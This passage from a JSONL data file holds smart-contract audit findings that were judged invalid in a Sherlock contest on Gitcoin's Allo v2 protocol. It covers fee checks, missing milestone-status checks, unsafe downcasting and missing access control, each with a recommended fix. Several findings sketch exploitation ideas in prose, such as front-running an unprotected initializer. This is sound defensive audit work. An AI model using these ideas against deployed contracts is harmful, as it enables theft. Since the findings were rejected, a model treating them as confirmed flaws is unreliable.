);\n\n // create pool with 1e18 + 1 amount when baseFee = 1e18 [success]\n vm.expectEmit(true, false, false, true);\n emit BaseFeePaid(1, baseFee);\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 1e18 + 1}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n }\n```\n\n## Impact\nThe assertion that only the `Allo.baseFee` needs to be paid to create a pool is incorrect. If `msg.value` exceeds the `Allo.baseFee`, the `msg.value - baseFee` amount will remain in the Allo smart contract\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L473-L474\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider reverting with a 'NOT_ENOUGH_FUNDS' error if `baseFee != msg.value` instead of `baseFee >= msg.value`.\n\n```diff\n-if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+if ((_token == NATIVE && (baseFee + _amount != msg.value)) || (_token != NATIVE && baseFee != msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/688.md"}} +{"title":"The recipient can obtain tokens that have already been marked as \"Rejected for Payment\" by the pool manager.","severity":"info","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# The recipient can obtain tokens that have already been marked as \"Rejected for Payment\" by the pool manager.\nThe recipient can obtain tokens that have already been marked as \"Rejected for Payment\" by the pool manager.\n\n## Vulnerability Detail\nThe status of milestone can be changed to **Status.Rejected** by pool manager before this portion of tokens is distributed to the recipient. According to my understanding, when the milestone's status is set to **Status.Rejected**, the tokens associated with this milestone will not be distributed to the recipient.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L280-L290\n\nHowever, the _distribute() function does not check the milestone's status and proceeds to distribute the tokens associated with the milestone to the recipient.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L414-L450\n\n## Impact\nThe recipient can obtain tokens that have already been marked as \"Rejected for Payment\" by the pool manager.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L414-L450\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck the milestone's status before distributing tokens to the recipient. If the status is \"Reject,\" then do not distribute these tokens to the recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/687.md"}} +{"title":"If `recipient.recipientAddress` is blacklisted by the token, the funds will be frozen in the protocol.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# If `recipient.recipientAddress` is blacklisted by the token, the funds will be frozen in the protocol.\n\n## Vulnerability Detail\n\nThe current implementation only allows modification of the recipient during the `onlyActiveRegistration` phase. However, if the recipientAddress is found to be blacklisted during the distribution phase, the funds will be frozen in the protocol and cannot be distributed to the recipient.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369-L430\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider allowing the recipient to modify the recipientAddress at any time.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/683.md"}} +{"title":"`QVBaseStrategy#reviewRecipients()` can only be reviewed during the registration open period.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# `QVBaseStrategy#reviewRecipients()` can only be reviewed during the registration open period.\n\n## Vulnerability Detail\n\nAn excellent recipient who registers at the last minute may never get a chance to be reviewed.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding a review period after the registration period. Voting is only allowed during the review period.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/679.md"}} +{"title":"`QVSimpleStrategy` cannot fund pools with NATIVE token due to lack of `receive() external payable {}` method.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# `QVSimpleStrategy` cannot fund pools with NATIVE token due to lack of `receive() external payable {}` method.\n\n## Vulnerability Detail\n\nDue to the lack of NATIVE token support in QV Strategy, it is not possible to fund pools with native tokens when using such a strategy during pool creation.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/contracts/core/Allo.sol#L502-L520\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/contracts/core/libraries/Transfer.sol#L70-L81\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/node_modules/solady/src/utils/SafeTransferLib.sol#L51-L62\n\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/677.md"}} +{"title":"QVSimpleStrategy, RFPSimpleStrategy, and RFPCommitteeStrategy's `allocate()` function does not prohibit receiving NATIVE tokens nor does it record the accounting when receiving NATIVE tokens.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# QVSimpleStrategy, RFPSimpleStrategy, and RFPCommitteeStrategy's `allocate()` function does not prohibit receiving NATIVE tokens nor does it record the accounting when receiving NATIVE tokens.\n\n## Vulnerability Detail\n\nAdditionally, `QVBaseStrategy.sol` does not have a withdrawal method, which causes the NATIVE tokens received through `allocate()` to be locked in the contract.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/contracts/core/Allo.sol#L492-L494\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider requiring `msg.value == 0` in `_beforeAllocate()` of these strategies.\n\n```solidity\nfunction _beforeAllocate(bytes memory _data, address _sender) internal virtual {\n if (msg.value > 0) {\n revert INVALID();\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/676.md"}} +{"title":"If the name of the Profile is modified after using anchor as the `acceptedRecipientId` in `RFPSimpleStrategy`, it will cause `submitUpcomingMilestone()` to be inaccessible to the member of the Profile.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# If the name of the Profile is modified after using anchor as the `acceptedRecipientId` in `RFPSimpleStrategy`, it will cause `submitUpcomingMilestone()` to be inaccessible to the member of the Profile.\n\n## Vulnerability Detail\n\n`Registry#updateProfileName()` will remove the connection between the profile and the old anchor, create a new anchor with the new name, and connect it to the profile.\n\nIf the old anchor was used as `acceptedRecipientId`, subsequent `submitUpcomingMilestone()` will not be successful because `_registry.getProfileByAnchor()` will return an empty profile.\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L177-L203\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L456-L459\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253-L271\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253-L271\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/674.md"}} +{"title":"`RFPCommitteeStrategy#_allocate` The committee's voting object should be a complete proposal. If the proposal is updated, the votes should be invalidated, otherwise the committee's voting mechanism will be ineffective.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# `RFPCommitteeStrategy#_allocate` The committee's voting object should be a complete proposal. If the proposal is updated, the votes should be invalidated, otherwise the committee's voting mechanism will be ineffective.\n\n## Vulnerability Detail\n\nSophisticated recipients can exploit the voting mechanism by:\n\n- Creating `_recipients[recipientId]` with a very low `proposalBid`.\n- When `votes[recipientId]` is about to reach the `voteThreshold`, use `registerRecipient()` to increase `_recipients[recipientId].proposalBid`.\n- At this point, `votes[recipientId]` will have a significant advantage over other `votes[i]`.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L138\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse `votes[proposalNonce]` to store the votes.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/673.md"}} +{"title":"Unsafe downcasting can lead to integer truncation","severity":"info","body":"Passive Clay Cougar\n\nmedium\n\n# Unsafe downcasting can lead to integer truncation\n\nThe values used in _getUintRecipientStatus are unsafely downcasted from uint256 to uint8 which may lead to an incorrect recipient status. \n\n## Vulnerability Detail\n\nWhen uintā€™s are being casted to different sizes, Solidity does not revert if there is some kind of integer truncation occurs which is where part of the value is cut short. See the following example: \n\n```solidity\n/// @notice Get recipient status\n/// @param _recipientId ID of the recipient\n/// @return status The status of the recipient\nfunction _getUintRecipientStatus(address _recipientId) internal view returns (uint8 status) {\n // Get the column index and current row\n (, uint256 colIndex, uint256 currentRow) = _getStatusRowColumn(_recipientId);\n\n // Get the status from the 'currentRow' shifting by the 'colIndex'\n status = uint8((currentRow >> colIndex) & 15); \n // Return the status\n return status;\n}\n```\n\nAs we can see the `_getUintRecipientStatus` `currentRow` and `colIndex` are both `uint256` values that are downcasted to `uint8` which can be truncated. \n\n## Impact\n\nIf certain edge cases conditions are met and integer truncation exists, the recipient status may not be accurate when it comes to allocating tokens to the recipient via `_allocate` resulting in a denial of service. The following proof of concept is an overly simplified and straightforward example of integer truncation created in remix:\n\n```solidity\n// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.8.2 <0.9.0;\n\ncontract Storage {\n\n function test() public view returns(uint8) {\n\n uint256 testuint = type(uint256).max;\n return uint8(testuint);\n }\n}\n```\n\nthe `testuint` value was assigned the max that a `uint256` value can hold however, this value was downcasted to `uint8` resulting in integer truncation. So instead of returning `1157920892373161954ā€¦ā€¦ā€¦` , `255` is returned because this is the maximum amount a `uint8` can hold. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L821-L824\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L648\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nItā€™s recommended that the values in being downcasted remain as `uint256` or OpenZeppelinā€™s `SafeCast` library is used to safely downcast these values.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/671.md"}} +{"title":"Transfer lib _transferAmount does not account for alternate native token representations","severity":"info","body":"Passive Clay Cougar\n\nmedium\n\n# Transfer lib _transferAmount does not account for alternate native token representations\n\nThe transfer lib when attempting to transfer an amount which could be ETH but is not NATIVE does not revert which may lead to accounting errors.\n\n## Vulnerability Detail\n\nThe protocol makes use of the `Transfer.sol` library which assists when making token transfers whether that be a native token such as ETH or an ERC20 token. The `_transferAmount` looks like the following:\n\n```solidity\n/// @notice Transfer an amount of a token to an address\n/// @param _token The token to transfer\n/// @param _to The address to transfer to\n/// @param _amount The amount to transfer\nfunction _transferAmount(address _token, address _to, uint256 _amount) internal {\n if (_token == NATIVE) {\n SafeTransferLib.safeTransferETH(_to, _amount);\n } else {\n SafeTransferLib.safeTransfer(_token, _to, _amount);\n }\n}\n```\n\n The function outlined above will first check for the NATIVE token which is hardcoded to `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE` . In some cases ETH is represented by `address(0)` when using native tokens however, the function attempts to send ERC20 tokens and May fail when attempting to do so.\n\n## Impact\n\nShould any other representation of a native token be used except for the hardcoded value in NATIVE, accounting errors may be incurred in some of the strategies deployed which may lead to more severe breakages. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L87-L93\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Native.sol#L24\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nItā€™s recommended that the function is refactored to look similarly to the following so that all representations of native are accounted for:\n\n```solidity\nfunction _transferAmount(address _token, address _to, uint256 _amount) internal {\n\t\t\t\tif (_token == NATIVE || _token == address(0)) {\n SafeTransferLib.safeTransferETH(_to, _amount);\n } else {\n SafeTransferLib.safeTransfer(_token, _to, _amount);\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/670.md"}} +{"title":"Wrong implementation of `NOT_ENOUGH_FUNDS` check in `_distribute()`.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# Wrong implementation of `NOT_ENOUGH_FUNDS` check in `_distribute()`.\n\n## Vulnerability Detail\n\nSince each time it checks if the initial winning bid amount `proposalBid` is greater than `poolAmount`, even if it's not the first distribution.\n\nThe check will most certainly revert if it's not the first time to distribute, as the achieved portion of the `milestone` makes `poolAmount < proposalBid`.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L414-L450\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChange to:\n\n```solidity\n// make sure has enough funds to distribute based on the distribution amount\nif (amount > poolAmount) revert NOT_ENOUGH_FUNDS();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/669.md"}} +{"title":"Distribution in QVBaseStrategy may fail in the middle of a distribution iteration costing substantial amounts of gas","severity":"info","body":"Passive Clay Cougar\n\nmedium\n\n# Distribution in QVBaseStrategy may fail in the middle of a distribution iteration costing substantial amounts of gas\n\nThe _distribute function will fail if a recipient is already paid out or isnā€™t an accepted recipient or the amount is zero. \n\n## Vulnerability Detail\n\nThe _distribute function in the QVBaseStrategy contract will iterate through the list of users to be paid out however, if the user in question is already paid out, isnā€™t an accepted recipient or the amount is zero, the loop will fail mid iteration without accounting for the rest of the users. High gas fees may be paid when processing this particular transaction considering that there are numerous operations performed within a loop which can make a revert quite costly for the executor. \n\n## Impact\n\nIf certain conditions are met, the executor of the _distribute function may lose a substantial amount due to costly gas fees.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L452\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nA robust solution would be to consider using the `continue` keyword within the loop to go straight to the next user to be paid out.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/668.md"}} +{"title":"There is no limit on the amount of fees users have to pay","severity":"info","body":"Passive Clay Cougar\n\nmedium\n\n# There is no limit on the amount of fees users have to pay\n\nThe Allo contract allows for the protocol to set percentage and base fees however, there is no bound when these fees are being processed.\n\n## Vulnerability Detail\n\nThe _updatePrecentFee and _updateBaseFee functions in the Allo.sol contract are used to set the fees for the protocol. When the a user attempts to fund the pool, the fees are calculated and transferred from the msg.sender to the treasury however, these functions only check that the fee percentage does not exceed 100%.\n\n## Impact\n\nIn the event the protocol acts maliciously, they can secretly set the fees to 1e18 which is equal to 100% of the total price. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L575-L581\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L587-L591\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding an upper bound to the base and percentage fee.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/666.md"}} +{"title":"Allo pool balance should be checked before _transferAmount","severity":"info","body":"Colossal Watermelon Crow\n\nhigh\n\n# Allo pool balance should be checked before _transferAmount\nAllo pool balance should be checked before _transferAmount\n\n## Vulnerability Detail\nPool balance is not checked before _transferAmount. This could revert unexpectedly if pool does not have enough balance. \n\n## Impact\ntransfer can be revert if pool does not have enough balance. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n\n## Tool used\nManual review and foundry\n\n## Recommendation\nBefore transfer there should be a logic to check the pool balance is sufficient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/664.md"}} +{"title":"````_createPool()```` requires to pay more than expected fund","severity":"info","body":"Atomic Ultraviolet Mole\n\nmedium\n\n# ````_createPool()```` requires to pay more than expected fund\nThe ````Equal```` case of ````paying amount```` VS ````required amount```` is not processed correctly in ````_createPool()````, users must pay a little more fund than it should be.\n\n## Vulnerability Detail\nThe issue arises on L473, it would revert even exact enough ````msg.value```` is sent.\n```diff\nFile: contracts\\core\\Allo.sol\n415: function _createPool(\n...\n423: ) internal returns (uint256 poolId) {\n...\n468: \n469: if (baseFee > 0) {\n...\n-473: if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+473: if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n474: revert NOT_ENOUGH_FUNDS(); \n475: }\n476: _transferAmount(NATIVE, treasury, baseFee);\n477: emit BaseFeePaid(poolId, baseFee);\n478: }\n479: \n...\n485: }\n\n\n\n```\n\n## Impact\nThough fund loss should be negligible, but user experience would become really bad.\nLet's say if depositing amount is 10 ETH plus 0.1 ETH ````baseFee````, in normal case, users only need to type ````10.1````. But now they should type up to 18 decimals (````10.100000000000000001````).\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSee Vulnerability Detail","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/659.md"}} +{"title":"revert INVALID_MILESTONE() is checking after the milestones.push()","severity":"info","body":"Colossal Watermelon Crow\n\nhigh\n\n# revert INVALID_MILESTONE() is checking after the milestones.push()\nrevert INVALID_MILESTONE() is checking after the milestones.push()\n\n## Vulnerability Detail\nThe check if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE() is after pushing the milestones.push(_milestones[i]);\nThe check for totalAmountPercentage != 1e18 should be done before pushing the milestone or else there is no point of checking it.\n\n## Impact\nmilestones will be set even if totalAmountPercentage is not equal to 1e18\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247\n\n## Tool used\nFoundry and manual review\n\n\n## Recommendation\nThe check for totalAmountPercentage != 1e18 should be done before pushing the milestone or else there is no point of checking it.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/654.md"}} +{"title":"Protocol won't work with tokens that can prevent transfers e.g pausable, blacklist, blocklist","severity":"info","body":"Savory Clear Koala\n\nmedium\n\n# Protocol won't work with tokens that can prevent transfers e.g pausable, blacklist, blocklist\nProtocol won't work with tokens that can prevent transfers e.g pausable, blacklist, blocklist\n\n## Vulnerability Detail\nThere are various tokens and token standards that can result in transfers being stopped, blocked, blacklisted, paused or disallowed. This entails protocols may function well with these tokens up until a time when any of above measures activated leading to inability to perform transfers into and out of the protocol\n\n## Impact\nTokens such as ERC20Pausable, Pausable Tokens like WBTC, ERC1400, USDT, Polymath like tokens; it implies the all instances mentioned in the links provided will not function for transfers. Whats worse is tokens with blacklisting capabilities may block contract addresses of protocol which renders them incapable to send and receive these tokens to function fully.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L288\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L513\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L388\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L408\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L793\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L456\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L439\n\netc and such other transfer of tokens related parts \n\n## Tool used\nManual Review\n\n## Recommendation\nRecommended to whitelist tokens and not allow such tokens","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/653.md"}} +{"title":"`RFPSimpleStrategy#_distribute` does not check the status of `milestone` as `pending`, which allows rejected (`Status.Rejected`) or unsubmitted milestones to still be paid.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# `RFPSimpleStrategy#_distribute` does not check the status of `milestone` as `pending`, which allows rejected (`Status.Rejected`) or unsubmitted milestones to still be paid.\n\n## Vulnerability Detail\n\nAs the pool may have many managers, this may result in one manager mistakenly distributing funds to a recipient who has their most recent milestone rejected by another pool manager.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck `milestone.milestoneStatus` when distributing:\n\n```solidity\n require(milestone.milestoneStatus == Status.Pending, \"Only submitted milstone\");\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/650.md"}} +{"title":"strategies `initialize()` must only be called by `onlyAllo` i.e Allo contract","severity":"info","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# strategies `initialize()` must only be called by `onlyAllo` i.e Allo contract\nstrategies `initialize()` must only be called by `onlyAllo` i.e Allo contract\n\n## Vulnerability Detail\n## Impact\n\nIn different strategies, the `initialize()` function is used to intialize strategies and which is called in Allo contract function `_createPool()` which can be checked [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L453)\n\n```Solidity\nFile: contracts/core/Allo.sol\n _strategy.initialize(poolId, _initStrategyData);\n```\n\nThe `initialize()` function is an external function which should only be called `Allo` contract by using `onlyAllo` modifier. This is implemented by some strategies in their implementation and these can be checked below,\n\n```Solidity\nFile: contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol\n\n256 function initialize(uint256 _poolId, bytes memory _data) external virtual override onlyAllo {\n```\n\nCode reference link [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L256)\n\nand \n\n```Solidity\nFile: contracts/strategies/qv-simple/QVSimpleStrategy.sol\n\n74 function initialize(uint256 _poolId, bytes memory _data) external virtual override onlyAllo {\n```\n\nCode reference link [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L74)\n\nHowever, in `RFPCommitteeStrategy.sol` and `RFPSimpleStrategy.sol` contracts, the `initialize()` is external with no access control like the above mentioned contracts. This means these external functions can be called by anyone, However this should not be the desired behavior for these strategy contracts and should have `onlyAllo` access control modifier like other strategies. This prevents it from Dos and front running issues while deploying or calling the `_createPool()` in `Allo` contract. A attacker or hacker can cause complete Dos or front running the transaction by providing the very high gas so the user wont be able to create pools and use these two strategies safely due to missing access control on these strategies `initialize()` function.\n\n```Solidity\nFile: contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol\n\n74 function initialize(uint256 _poolId, bytes memory _data) external override {\n```\n\nCode reference link [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L74)\n\nand \n\n```Solidity\nFile: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\n\n151 function initialize(uint256 _poolId, bytes memory _data) external virtual override {\n```\n\nCode reference link [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L151)\n\nTherefore, add `onlyAllo` access control on both `initialize()` functions.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L74\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L151\n\n## Tool used\nManual Review\n\n## Recommendation\n\nIn `RFPCommitteeStrategy.sol`,\n\n```diff\nFile: contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol\n\n- function initialize(uint256 _poolId, bytes memory _data) external override {\n+ function initialize(uint256 _poolId, bytes memory _data) external override onlyAllo {\n```\n\nand in `RFPSimpleStrategy.sol`,\n\n```diff\nFile: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\n\n- function initialize(uint256 _poolId, bytes memory _data) external virtual override {\n+ function initialize(uint256 _poolId, bytes memory _data) external virtual override onlyAllo {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/649.md"}} +{"title":"Lack of recipient status check in `DonationVotingMerkleDistributionBaseStrategy#distribute()`","severity":"info","body":"Tart Citron Platypus\n\nhigh\n\n# Lack of recipient status check in `DonationVotingMerkleDistributionBaseStrategy#distribute()`\n\n## Vulnerability Detail\n\n`DonationVotingMerkleDistributionBaseStrategy#distribute()` does not require the recipient's status to be `Accepted`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L774-L800\n\nIn comparison, `_allocate()` requires the recipient status to be `Accepted`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640-L664\n\n## Impact\n\nThis may result in the pool manager distributing funds to a non-approved recipient.\n\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding the check to require recipient status to be Accepted in `_distributeSingle()`:\n\n```solidity\n // If the recipient status is not 'Accepted' this will revert, the recipient must be accepted 